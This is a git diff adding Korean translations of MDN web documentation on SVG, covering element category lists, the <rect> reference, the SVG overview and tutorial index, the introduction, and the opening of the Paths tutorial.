+<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
+
+<h3 id="기본_필터_엘리먼트들">기본 필터 엘리먼트들</h3>
+
+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="폰트_엘리먼트들">폰트 엘리먼트들</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="구배(경사)_엘리먼트들">구배(경사) 엘리먼트들</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="그래픽_엘리먼트들">그래픽 엘리먼트들</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
+
+<h3 id="가벼운_소스_엘리먼트들">가벼운 소스 엘리먼트들</h3>
+
+<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p>
+
+<h3 id="Shape" name="Shape">모양 엘리먼트들</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="구조적인_엘리먼트들">구조적인 엘리먼트들</h3>
+
+<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
+
+<h3 id="TextContent" name="TextContent">텍스트 컨텍스트 엘리먼트들</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="텍스트_컨텍스트_하위_엘리먼트들">텍스트 컨텍스트 하위 엘리먼트들</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="범주화_되지_않은_엘리먼트들">범주화 되지 않은 엘리먼트들</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
diff --git a/files/ko/web/svg/element/사각형/index.html b/files/ko/web/svg/element/사각형/index.html
new file mode 100644
index 0000000000..90a3d08d24
--- /dev/null
+++ b/files/ko/web/svg/element/사각형/index.html
@@ -0,0 +1,95 @@
+---
+title: <rect>
+slug: Web/SVG/Element/사각형
+translation_of: Web/SVG/Element/rect
+---
+<div>{{SVGRef}}</div>
+
+<p><span style="line-height: 1.5;"><strong>&lt;rect&gt;</strong> 요소는 SVG 기본 모형이고 코너의 위치와 폭과 높이에 따라 사각형을 만드는데 사용된다.</span> 또한 모서리가 둥근 사각형을 만들 수 있다.</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html; highlight[4]">&lt;svg viewBox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Simple rect element --&gt;
+  &lt;rect x="0" y="0" width="100" height="100" /&gt;
+
+  &lt;!-- Rounded corner rect element --&gt;
+  &lt;rect x="120" y="0" width="100" height="100" rx="15" ry="15" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, '100%')}}</p>
+</div>
+
+<h2 id="컨택스트_사용해보기">컨택스트 사용해보기</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">카테고리</th>
+   <td>기본 도형 요소, 그래픽 요소, 모형 요소</td>
+  </tr>
+  <tr>
+   <th scope="row">허용 된 콘텐츠</th>
+   <td>Any number of the following elements, in any order:<br>
+    <a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">Animation elements</a> »<br>
+    <a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">Descriptive elements</a> »</td>
+  </tr>
+  <tr>
+   <th scope="row">규범 문서</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElement" title="http://www.w3.org/TR/SVG/shapes.html#RectElement">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example_2">Example</h2>
+
+<h3 id="간단한_rect_사용하기">간단한 <code>rect</code> 사용하기</h3>
+
+<p>» <a href="https://developer.mozilla.org/files/3247/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p>
+
+<h3 id="라운드_코너와_rect_사용하기">라운드 코너와 <span style="font-family: 'Courier New','Andale Mono',monospace; font-weight: inherit; line-height: normal;">rect </span><span style="font-size: 1.7142857142857142rem;">사용하기</span></h3>
+
+<p>» <a href="https://developer.mozilla.org/files/3248/rect-2.svg" title="https://developer.mozilla.org/files/3248/rect-2.svg">rect-2.svg</a></p>
+
+<h2 id="속성">속성</h2>
+
+<h3 id="전역_속성">전역 속성</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="지정_속성">지정 속성</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>This element implements the <code><a href="/en/DOM/SVGRectElement" title="en/DOM/SVGRectElement">SVGRectElement</a></code> interface.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("svg.elements.rect")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ SVGElement("path") }}</li>
+</ul>
diff --git a/files/ko/web/svg/index.html b/files/ko/web/svg/index.html
new file mode 100644
index 0000000000..095a7fb090
--- /dev/null
+++ b/files/ko/web/svg/index.html
@@ -0,0 +1,101 @@
+---
+title: SVG
+slug: Web/SVG
+tags:
+  - 2D Graphics
+  - 2D 그래픽
+  - References
+  - SVG
+  - TopicStub
+translation_of: Web/SVG
+---
+<div class="callout-box"><strong><a href="/ko/docs/SVG/Tutorial" title="SVG/Tutorial">시작하기</a></strong><br>
+이 튜토리얼은 SVG를 시작할 수 있도록 도움을 줄 것입니다.</div>
+
+<p><strong>가변 가능한 벡터 그래픽 (SVG)은 </strong>2차원의 벡터 그래픽을 기술하기 위한 <a href="/ko/docs/XML" title="XML">XML</a> 기반 마크업 언어이다.  HTML이 텍스트를 표현하는 것처럼, SVG는 본질적으로 그래픽을 표현한다.</p>
+
+<p>SVG는 텍스트 기반의 오픈 웹 표준이다. SVG는 의심할바 없이 CSS, DOM, SMIL 같은 다른 웹 표준과 함께 작동하기 위해서 디자인 되었다.</p>
+
+<p>SVG 이미지들, 그것과 관련된 작동들은 XML <a href="https://wiki.developer.mozilla.org/en-US/docs/XML">XML</a> 텍스트 파일로 정의되어있다. 그렇기에 검색될 수 있고, 색인 가능하고, 스크립트 될 수 있고 압축 가능하다. SVG파일은 추가적으로 어떤 텍스트 에디터에서나 드로잉 소프트웨어에서도 만들어질 수 있다.</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="문_서">문 서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/SVG/Element">SVG 요소 레퍼런스</a></dt>
+ <dd>SVG 요소들에 대한 상세한 정보를 담고있다.</dd>
+ <dt><a href="/ko/docs/Web/SVG/Attribute">SVG 속성 레퍼런스</a></dt>
+ <dd>SVG 속성들에 대한 상세한 정보를 담고있다.</dd>
+ <dt><a href="/ko/docs/DOM/DOM_Reference#SVG_interfaces">SVG DOM 인터페이스 레퍼런스</a></dt>
+ <dd>전체 SVG DOM API에 대한 상세한 정보를 담고있다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">HTML 컨텐츠에 SVG 효과 적용하기</a></dt>
+ <dd>SVG는 {{Glossary("HTML")}}, {{Glossary("CSS")}}, {{Glossary("JavaScript")}}와 함께 동작한다. SVG를 사용해 일반적인 HTML와 웹애플리케이션을 개선할 수 있다.</dd>
+ <dt>Mozilla 에서 SVG</dt>
+ <dd>Mozilla에서 어떻게 SVG가 구현되었는지에 대한 참고 자료와 정보를 담고있다.
+ <ul>
+  <li><a href="/ko/docs/SVG_in_Firefox">Firefox에서 얼마나 많은 SVG가 구현되었는가?</a></li>
+  <li><a href="/ko/docs/Web/SVG/Tutorial">사용하는 방법 튜토리얼</a></li>
+  <li><a href="/ko/docs/SVG_In_HTML_Introduction">XHTML에서 SVG</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/SVG">전체 보기...</a></span></p>
+
+<h2 class="Community" id="커뮤니티">커뮤니티</h2>
+
+<ul>
+ <li>Mozilla 포럼들을 보라. {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</li>
+</ul>
+
+<h2 class="Tools" id="도구들">도구들</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/Graphics/SVG/Test/">SVG 테스트 수트</a></li>
+ <li><a href="http://jiggles.w3.org/svgvalidator/">SVG 검증기</a> (더 이상 사용되지 않음)</li>
+ <li><a href="/ko/docs/tag/SVG:Tools" title="tag/SVG:Tools">그 외의 도구들</a></li>
+ <li>다른 자원들: <a href="/ko/docs/XML">XML</a>, <a href="/ko/docs/CSS">CSS</a>, <a href="/ko/docs/DOM">DOM</a>, <a href="/ko/docs/HTML/Canvas">Canvas</a></li>
+</ul>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="예제들">예제들</h2>
+
+<ul>
+ <li>Google <a href="http://maps.google.com">Maps</a> (경로 중첩) &amp; <a href="http://docs.google.com">문서들</a> (스프레드시트 차트)</li>
+ <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">SVG 버블 메뉴</a></li>
+ <li><a href="http://jwatt.org/svg/authoring/">SVG 제작 가이드라인</a></li>
+ <li><a href="/ko/docs/Mozilla_SVG_Project">Mozilla SVG 프로젝트</a>의 개요</li>
+ <li>SVG와 Mozilla 관련한 <a href="/ko/docs/SVG/FAQ" title="SVG/FAQ">FAQ : 자주 묻는 질문들</a></li>
+ <li>SVG Open 2009에 <a href="http://jwatt.org/svg-open-US/docs/2009/slides.xhtml">SVG 와 Mozilla</a>와 관련된 슬라이드와 데모들</li>
+ <li><a href="/ko/docs/SVG/SVG_as_an_Image">이미지로서 SVG</a></li>
+ <li><a href="/ko/docs/SVG/SVG_animation_with_SMIL">SMIL로 SVG 애니메이션</a></li>
+ <li><a href="http://plurib.us/1shot/2007/svg_gallery/">SVG 아트 갤러리</a></li>
+ <li>그 외의 예제들 (<a href="http://croczilla.com/bits_and_pieces/svg/samples">SVG 예제 croczilla.com</a>, <a href="http://www.carto.net/papers/svg/samples/">carto.net</a>)</li>
+</ul>
+
+<h3 id="애니메이션과_상호작용들">애니메이션과 상호작용들</h3>
+
+<p>HTML과 마찬가지로 SVG은 도큐먼트 모델(DOM)와 이벤트를 가지고 있으며, JavaScript로 접근할 수 있다. 이를 통해 개발자는 풍부한 애니메이션과 이미지들의 상호작용을 생성할 수 있다.</p>
+
+<ul>
+ <li><a href="http://svg-wow.org/">svg-wow.org</a> 에서 몇몇 실제 눈요기 SVG</li>
+ <li>SMIL 애니메이션 지원을 확장하기 위한  Firefox 확장 (<a href="http://schepers.cc/grafox/">Grafox</a>) </li>
+ <li>상호작용하는 <a href="http://people.mozilla.com/~vladimir/demos/photos.svg">사진</a> 조작</li>
+ <li>SVG의 <code>foreignObject를 사용하는 </code><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML 변환들</a></li>
+</ul>
+
+<h3 id="매핑_차트_게임_그리고_3D_실험들">매핑, 차트, 게임 그리고 3D 실험들</h3>
+
+<p>While 웹 컨텍스트를 향상히기는 방법으로 작은 SVG는 먼길을 갈 수 있는 동안 여기 많은 SVG 사용법들에 대한 몇몇 예제가 있다..</p>
+
+<ul>
+ <li><a href="http://www.codedread.com/yastframe.php">SVG  테트리스</a>와 <a href="http://www.treebuilder.de/svg/connect4.svg">커넥트 4</a></li>
+ <li><a href="http://www.carto.net/papers/svg/us_population/index.html">미국 인구 지도</a></li>
+ <li><a href="http://www.treebuilder.de/default.asp?file=441875.xml">3D 박스</a> &amp; <a href="http://www.treebuilder.de/default.asp?file=206524.xml">3D 박스들</a></li>
+ <li><a href="http://jvectormap.com/">jVectorMap</a> (데이터 시각화를 위해 상호작용하는 Map)</li>
+ <li><a href="http://jointjs.com">JointJS</a> (JavaScript 다이어그램 라이브러리)</li>
+</ul>
+</div>
+</div>
diff --git a/files/ko/web/svg/tutorial/index.html b/files/ko/web/svg/tutorial/index.html
new file mode 100644
index 0000000000..1cc6c1f8d5
--- /dev/null
+++ b/files/ko/web/svg/tutorial/index.html
@@ -0,0 +1,36 @@
+---
+title: SVG 튜토리얼
+slug: Web/SVG/Tutorial
+tags:
+  - SVG
+  - 'SVG:튜토리얼'
+  - 중급
+translation_of: Web/SVG/Tutorial
+---
+<p>확장 가능한 벡터 그래픽(Scalable Vector Graphics), <a href="https://developer.mozilla.org/en-US/docs/Web/SVG">SVG</a>는 그래픽을 마크업하기 위한 W3C XML의 특수언어(dialect)입니다. SVG는 파이어폭스, 오페라, 웹킷 브라우저, 인터넷 익스플로러 및 기타 여러 브라우저에서 부분적으로 지원하고 있습니다.</p>
+
+<p>본 튜토리얼의 목적은 SVG 내부 구조를 설명하는 데 있으며, 기술적인 세부 사항을 다룹니다. 만약 그저 아름다운 이미지를 그리려고 한다면, <a class="external external-icon" href="http://inkscape.org/doc/" title="http://inkscape.org/doc/">Inkscape's documentation page</a>에서 더 많은 유용한 소스들을 찾을 수 있습니다. SVG에 관한 또 다른 소개는 W3C의 <a class="external external-icon" href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html" title="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html">SVG Primer</a>에서 제공됩니다.</p>
+
+<div class="note">본 튜토리얼은 개발 초기 단계에 있습니다. 가능하다면, 본 문서 작성에 참여하여, 한 두 단락을 작성하여 도움을 주기 바랍니다. 한 페이지 전체를 작성한다면 더욱 좋습니다!</div>
+
+<h5 id="SVG_소개_목록">SVG 소개 목록</h5>
+
+<ul>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Introduction" title="ko/docs/Web/SVG/Tutorial/Introduction">소개</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Getting_Started" title="ko/docs/Web/SVG/Tutorial/Getting_Started">시작하기</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Positions" title="ko/docs/Web/SVG/Tutorial/Positions">위치</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Basic_Shapes" title="ko/docs/Web/SVG/Tutorial/Basic_Shapes">기본 형태</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Paths" title="ko/docs/Web/SVG/Tutorial/Paths">패스</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Fills_and_Strokes" title="ko/docs/Web/SVG/Tutorial/Fills_and_Strokes">채우기 및 선 그리기</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Gradients" title="ko/docs/Web/SVG/Tutorial/Gradients">그라디언트</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Patterns" title="ko/docs/Web/SVG/Tutorial/Patterns">패턴</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Texts" title="ko/docs/Web/SVG/Tutorial/Texts">텍스트</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Basic_Transformations" title="ko/docs/Web/SVG/Tutorial/Basic_Transformations">기본 변형</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Clipping_and_masking" title="ko/docs/Web/SVG/Tutorial/Clipping_and_masking">클리핑 및 마스킹</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Other_content_in_SVG" title="ko/docs/Web/SVG/Tutorial/Other content in SVG">SVG 안의 다른 컨텐츠</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Filter_effects" title="ko/docs/Web/SVG/Tutorial/Filter effects">필터 효과</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/SVG_fonts" title="ko/docs/Web/SVG/Tutorial/SVG fonts">SVG 폰트</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/SVG_Image_Tag" title="ko/docs/Web/SVG/Tutorial/SVG Image Tag">SVG 이미지 태그</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/Tools_for_SVG" title="ko/docs/Web/SVG/Tutorial/Tools_for_SVG">SVG를 위한 도구들</a></li>
+ <li><a href="/ko/docs/Web/SVG/Tutorial/SVG_and_CSS">SVG와 CSS</a></li>
+</ul>
diff --git a/files/ko/web/svg/tutorial/introduction/index.html b/files/ko/web/svg/tutorial/introduction/index.html
new file mode 100644
index 0000000000..05041323fa
--- /dev/null
+++ b/files/ko/web/svg/tutorial/introduction/index.html
@@ -0,0 +1,49 @@
+---
+title: 소개
+slug: Web/SVG/Tutorial/Introduction
+tags:
+  - SVG
+  - 'SVG:튜토리얼'
+  - 가이드
+  - 초보자
+  - 튜토리얼
+translation_of: Web/SVG/Tutorial/Introduction
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right;"><a href="/ko/SVG" title="ko/SVG">SVG</a>는 <a href="/ko/XHTML" title="ko/XHTML">XHTML</a>과 비슷한 <a href="/ko/XML" title="ko/XML">XML</a> 언어로 오른쪽에 있는 것과 같은 그래픽을 그리는 데 사용된다. SVG 이미지는 필요한 모든 선과 모양을 직접 일일이 지정하거나, 이미 존재하는 래스터 이미지를 수정하거나, 이 두 가지 방법을 조합해서 만들 수 있다. 이미지와 그 구성요소들은 변형되고, 조합되고, 필터링될 수 있으며, 이를 통해 원래의 형태를 완전히 바꿀 수도 있다.</p>
+
+<p>SVG는 비슷한 경쟁 포맷들이 <a class="external" href="http://www.w3.org" title="ko/W3C">W3C</a>에 제출되었지만 완전히 승인되지는 않았던 1999년에 등장했다. 명세는 오랫동안 존재해 왔지만 웹 브라우저에서 느리게 받아들여졌기 때문에, 웹 문서에서 바로 SVG를 포함하는 컨텐츠는 2009년까지도 많지 않았다. 사용할 수 있는 구현조차도 경쟁기술인 <a href="/ko/HTML/Canvas" title="ko/HTML/Canvas">HTML5 캔버스</a>나 (애플리케이션 인터페이스로서) 어도비 플래시보다 느린 편이다. SVG는 캔버스나 플래시와 비교했을 때 <a href="/ko/docs/Web/API">DOM 인터페이스</a>를 사용할 수 있는 점과 서드파티 확장을 필요로 하지 않는 이점을 가지고 있다. SVG를 활용할 지는 사용자의 목적에 달려있다.</p>
+
+<p><a href="https://caniuse.com/#feat=svg">Can I Use...</a>에서 확인할 수 있듯이, SVG 지원은 2009년부터 확대되어 왔다.</p>
+
+<h3 id="기본적인_요소들">기본적인 요소들</h3>
+
+<p><a href="/ko/docs/Web/HTML">HTML</a>은 헤더, 문단, 표와 같은 요소들을 제공한다. SVG도 마찬가지로 원, 사각형, 간단한 곡선과 복잡한 곡선을 그릴 수 있는 요소들을 제공한다. 간단한 SVG 문서는 {{ SVGElement('svg') }} 루트 요소와 그래픽을 구성하기 위한 몇몇 기본 도형들로 구성된다. 또한 {{ SVGElement('g') }} 요소를 통해 간단한 모양들을 조합할 수 있다.</p>
+
+<p>이를 통해서 SVG 이미지는 아주 복잡해질 수도 있다. SVG는 그라디언트, 회전, 필터 효과, 애니메이션, 자바스크립트를 통한 조작을 지원한다. 하지만 SVG의 이러한 추가적인 기능들은 그래픽 영역을 정의하는 비교적 작은 요소들의 집합에 의존하고 있다.</p>
+
+<h3 id="Before_you_start" name="Before_you_start">시작하기 전에</h3>
+
+<p><a class="external" href="http://www.inkscape.org/">잉크스케이프(Inkscape)</a>를 비롯해 SVG를 네이티브 포맷으로 활용하는 무료 드로잉 애플리케이션들이 있다. 하지만 이 튜토리얼에서는 순수하게 XML과 (독자가 선택한) 텍스트 에디터만을 사용한다. 이는 SVG의 내부 구조에 대한 이해를 돕기 위함이며, 이렇게 하기 위해서는 직접 마크업 언어를 경험해보는 것이 무엇보다 중요하다. SVG를 배우는 이유를 되새겨보자. 모든 SVG 뷰어가 같은 방식으로 구현되어 있지는 않기 때문에, 어떤 애플리케이션에서 잘 보여지도록 작성된 SVG가 다른 애플리케이션에서는 의도한 대로 작동하지 않을 수도 있다. 이는 SVG 명세나 SVG와 함께 사용되는 <a href="/ko/JavaScript">자바스크립트</a>나 <a href="/ko/CSS" title="ko/CSS">CSS</a>를 지원하는 수준이 서로 상이하기 때문에 발생하는 문제이다.</p>
+
+<p>SVG는 모든 모던 웹 브라우저에서 지원하고 있으며, 이전부터 지원해오던 경우도 있다. <a href="http://caniuse.com/svg">Can I use</a>에서 SVG 지원 현황을 표로 확인할 수 있다. 파이어폭스는 1.5 버전에서부터 SVG를 지원해오고 있으며, 매 버전이 나올 때마다 SVG 지원 범위도 넓어지고 있다. 바라건대 이 튜토리얼과 MDN 문서가 개발자들이 Gecko와 다른 주요 구현체들의 차이를 이해하는 데 도움이 되길 바란다.</p>
+
+<p>SVG를 시작하기에 앞서, 기초적인 XML 문법이나 <abbr title="HyperText Markup Language">HTML</abbr> 같은 다른 마크업 언어를 이해할 필요가 있다. XML에 익숙하지 않다면 다음 사항들을 유념하기 바란다.</p>
+
+<ul>
+ <li>XML은 (HTML과 달리) 대소문자를 구분하는 언어이므로 SVG 요소와 속성은 반드시 예제에 보이는 대로 입력해야 한다.</li>
+ <li>SVG에서 속성 값은 숫자라고 할지라도 반드시 따옴표로 둘러싸야 한다.</li>
+</ul>
+
+<p>SVG의 명세는 아주 길다. 이 튜토리얼에서는 기초적인 부분만을 다룬다. 이미 SVG에 익숙하다면 <a href="/ko/SVG/Element" title="ko/SVG/Element">요소 레퍼런스</a>나 <a href="/ko/docs/DOM/DOM_Reference#SVG_interfaces" title="ko/SVG/Interface">인터페이스 레퍼런스</a>에서 필요한 부분을 찾아보면 된다.</p>
+
+<h3 id="SVG의_종류">SVG의 종류</h3>
+
+<p>2003년에 권고가 된 후 최신의 완전한(full) SVG 버전은 1.1이다. 1.1은 1.0을 기반으로 작성되었으나 구현을 쉽게 하기 위해 좀 더 모듈화되었다. <a href="http://www.w3.org/TR/SVG/">SVG 1.1 두번째 에디션</a>은 2011년에 권고되었다. 완전한 SVG 1.2가 SVG의 다음 주요 릴리즈였다. 1.2 대신 현재 활발히 개발중인 <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>으로 넘어갈 것이다. SVG 2.0에서는 CSS 3과 마찬가지로 구성요소들이 느슨히 결합된 명세들로 분리될 것이다.</p>
+
+<p>완전한 SVG 권고와는 별도로 W3C 워킹 그룹에서는 2003년에 SVG Tiny와 SVG Basic을 내놓았다. SVG Tiny와 SVG Basic은 모바일 기기를 위한 것이다. 먼저 SVG Tiny에 따르면 적은 리소스를 가진 작은 기기에서도 그래픽을 생성할 수 있어야 한다. SVG Basic은 완전한 SVG 명세의 많은 부분을 지원하지만 구현하기 어렵거나 애니메이션과 같이 무거운 렌더 작업은 포함하지 않는다. 2008년에는 SVG Tiny 1.2가 W3C 권고가 되었다.</p>
+
+<p>다중 페이지 지원 및 더 나은 색상 관리를 위한 SVG 프린트 명세도 계획되어 있었다. 이 작업은 현재 진행되지 않고 있다.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
diff --git a/files/ko/web/svg/tutorial/paths/index.html b/files/ko/web/svg/tutorial/paths/index.html
new file mode 100644
index 0000000000..4280d78df0
--- /dev/null
+++ b/files/ko/web/svg/tutorial/paths/index.html
@@ -0,0 +1,216 @@
+---
+title: 패스
+slug: Web/SVG/Tutorial/Paths
+tags:
+  - SVG
+  - 학습서
+translation_of: Web/SVG/Tutorial/Paths
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
+
+<p><a href="/en-US/Web/SVG/Element/path"><code>&lt;path&gt;</code></a> 엘리먼트는 SVG <a href="/ko/docs/Web/SVG/Tutorial/Basic_Shapes">기본 도형</a> 라이브러리에서 가장 강력한 엘리먼트이다. 선과 곡선, 호 등 다양한 형태를 그릴 수 있다.</p>
+
+<p>패스는 여러 개의 직선과 곡선을 합쳐서 복잡한 도형을 그릴 수 있게 해준다. 직선으로만 이루어진 복잡한 도형은 <a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes#Polyline">polylines</a>으로도 그릴 수 있지만, 곡선을 묘사할 때 polylines은 패스로 그린 도형에 비해 더 많은 직선이 필요에 확대가 잘 되지 않을 수 있다. 그렇기에 SVG를 그릴 때 패스에 대해 이해하는 것은 매우 중요하다고 할 수 있다. 복잡한 패스를 XML 편집기 또는 일반적인 텍스트 에디터로 그리는 것은 권장하지 않지만, SVG가 표시될 때 문제점을 찾고 고치는 데는 충분히 도움이 될 것이다.</p>
+
+<p>패스의 모양은 {{ SVGAttr("d") }} 속성 하나로 정의된다(<a href="/en-US/docs/">basic shapes</a> 참조). <code>"d"</code> 속성은 여러 개의 명령어와 그 파라미터들로 이루어진다.</p>
+
+<p>각각 명령은 특정 알파벳으로 시작한다. 예를 들면 현재 그려지는 위치를 XY 좌표계의 (10, 10)으로 이동할 때 "Move To" 명령을 사용하게 되는데, 이 명령은 알파벳 M으로 호출한다. SVG 처리기가 이 문자를 읽게 되면 다른 위치로 이동하라는 명령으로 이해하게 된다. 즉, (10, 10)으로 이동하려면 명령어 "M 10 10"을 쓰면 된다. 이후에 처리기는 다음 명령어를 읽기 시작한다.</p>
+
+<p>모든 명령어는 2가지 변형이 존재하는데, 알파벳이 <strong>대문자</strong>일 경우(예를 들면 대문자 M), 뒤따르는 좌표는 페이지의 절대 좌표를 참조하며, <strong>소문자</strong> 알파벳(m)일 경우 마지막 위치에 대한 상대적 좌표로 참조된다.</p>
+
+<p>"d" 속성의 좌표는<strong> 절대 단위가 붙지 않으며,</strong> 패스의 위치나 형태가 어떻게 변형될 수 있는지는 나중에 배우도록 한다.</p>
+
+<h2 id="선(Line)_명령어">선(Line) 명령어</h2>
+
+<p><code>&lt;path&gt;</code> 노드에는 다섯 개의 선 명령어가 있다. 이름에서 알 수 있듯이 각각의 명령어는 두 점 사이에 선을 그리는 역할을 한다. 첫 번째 명령어는 'Move To(이동하기)' 혹은 'M' 이다. 이 명령어는 두 개의 파라미터로 x와 y 좌표를 받는다. 그리기 커서가 이미 페이지의 다른 곳에 있었더라도 두 점 사이에 점이 그려지지는 않는다. 'Move To' 명령어는 다음과 같이 패스의 맨 처음에 와서 그리기를 시작할 위치를 지정한다:</p>
+
+<pre> M x y
+</pre>
+
+<p>혹은</p>
+
+<pre> m dx dy</pre>
+
+<p>아래의 예제에서는 좌표 (10,10)에만 점을 찍었다. 일반적으로 패스를 그릴 때는 이 점이 나타나지 않는다는 점에 주의해야 한다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/45/=Blank_Path_Area.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;path d="M10 10"/&gt;
+
+  &lt;!-- 점 --&gt;
+  &lt;circle cx="10" cy="10" r="2" fill="red"/&gt;
+
+&lt;/svg&gt;</pre>
+
